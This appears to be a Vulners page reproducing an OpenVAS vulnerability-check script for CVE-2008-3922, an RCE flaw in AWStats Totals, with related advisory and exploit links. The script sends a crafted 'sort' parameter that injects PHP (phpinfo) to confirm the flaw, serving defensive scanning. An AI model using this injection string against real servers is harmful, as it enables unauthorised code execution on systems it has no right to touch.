AWStats Totals < 1.15 'sort' Parameter RCE Vulnerabilities - Active Check
🗓️ 07 Jun 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType
openvas🔗 plugins.openvas.org👁 31 Views
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| AWStats Totals =< v1.14 multisort Remote Command Execution | 25 May 201100:00 | – | zdt | |
| AWStats Totals awstatstotals.php multisort() Function sort Parameter Arbitrary PHP Code Execution | 27 Aug 200800:00 | – | nessus | |
| CVE-2008-3922 | 5 Sep 200800:00 | – | circl | |
| AWStats Totals awstatstotals.php sort Parameter Code Execution (CVE-2008-3922) | 3 Apr 201600:00 | – | checkpoint_advisories | |
| CVE-2008-3922 | 4 Sep 200818:00 | – | cve | |
| CVE-2008-3922 | 4 Sep 200818:00 | – | cvelist | |
| Awstats Totals <= 1.14 RCE | 26 Jan 201200:00 | – | dsquare | |
| AWStats Totals 1.14 multisort - Remote Command Execution (Metasploit) | 25 May 201100:00 | – | exploitdb | |
| AWStats Totals 1.14 - 'AWStatstotals.php' Remote Code Execution | 5 Sep 200800:00 | – | exploitdb | |
| AWStats Totals multisort Remote Command Execution | 25 May 201110:42 | – | metasploit |
10
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/archive/1/archive/1/495770/100/0/threaded |
| exploit-db | www.exploit-db.com/exploits/17324/ |
| packetstormsecurity | www.packetstormsecurity.org/files/view/101698/awstatstotals_multisort.rb.txt |
| securityfocus | www.securityfocus.com/bid/30856 |
| xforce | www.xforce.iss.net/xforce/xfdb/44712 |
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.801893");
script_version("2025-11-11T05:40:18+0000");
script_tag(name:"last_modification", value:"2025-11-11 05:40:18 +0000 (Tue, 11 Nov 2025)");
script_tag(name:"creation_date", value:"2011-06-07 13:29:28 +0200 (Tue, 07 Jun 2011)");
script_cve_id("CVE-2008-3922");
script_tag(name:"cvss_base", value:"9.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
script_name("AWStats Totals < 1.15 'sort' Parameter RCE Vulnerabilities - Active Check");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/44712");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/30856");
script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17324/");
script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/archive/1/495770/100/0/threaded");
script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/101698/awstatstotals_multisort.rb.txt");
# nb: The relevant GET request might be already seen as an attack...
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2011 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl",
"DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl",
"global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"impact", value:"Successful exploitation could allow remote attackers to execute
arbitrary PHP commands by constructing specially crafted 'sort' parameters.");
script_tag(name:"affected", value:"AWStats Totals versions 1.14 and prior.");
script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input
passed via the 'sort' parameter to 'multisort()' function, which allows attackers to execute
arbitrary PHP code.");
script_tag(name:"solution", value:"Update to version 1.15 or later.");
script_tag(name:"summary", value:"AWStats Totals is prone to remote command execution (RCE)
vulnerabilities.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_app");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
port = http_get_port(default:80);
if(!http_can_host_php(port:port))
exit(0);
foreach dir (make_list_unique("/awstatstotals", "/awstats", http_cgi_dirs(port:port))) {
if(dir == "/")
dir = "";
res = http_get_cache(item:dir + "/awstatstotals.php", port:port);
if("<title>AWStats Totals</title>" >< res) {
url = string(dir, '/awstatstotals.php?sort="].phpinfo().exit().%24a["');
res = http_get_cache(port:port, item:url);
if(!res || res !~ "^HTTP/1\.[01] 200")
continue;
if(concl = http_check_for_phpinfo_output(data:res)) {
report = http_report_vuln_url(port:port, url:url);
report += '\nConcluded from:\n' + concl;
security_message(port:port, data:report);
exit(0);
}
}
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Nov 2025 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 29.3
EPSS0.53202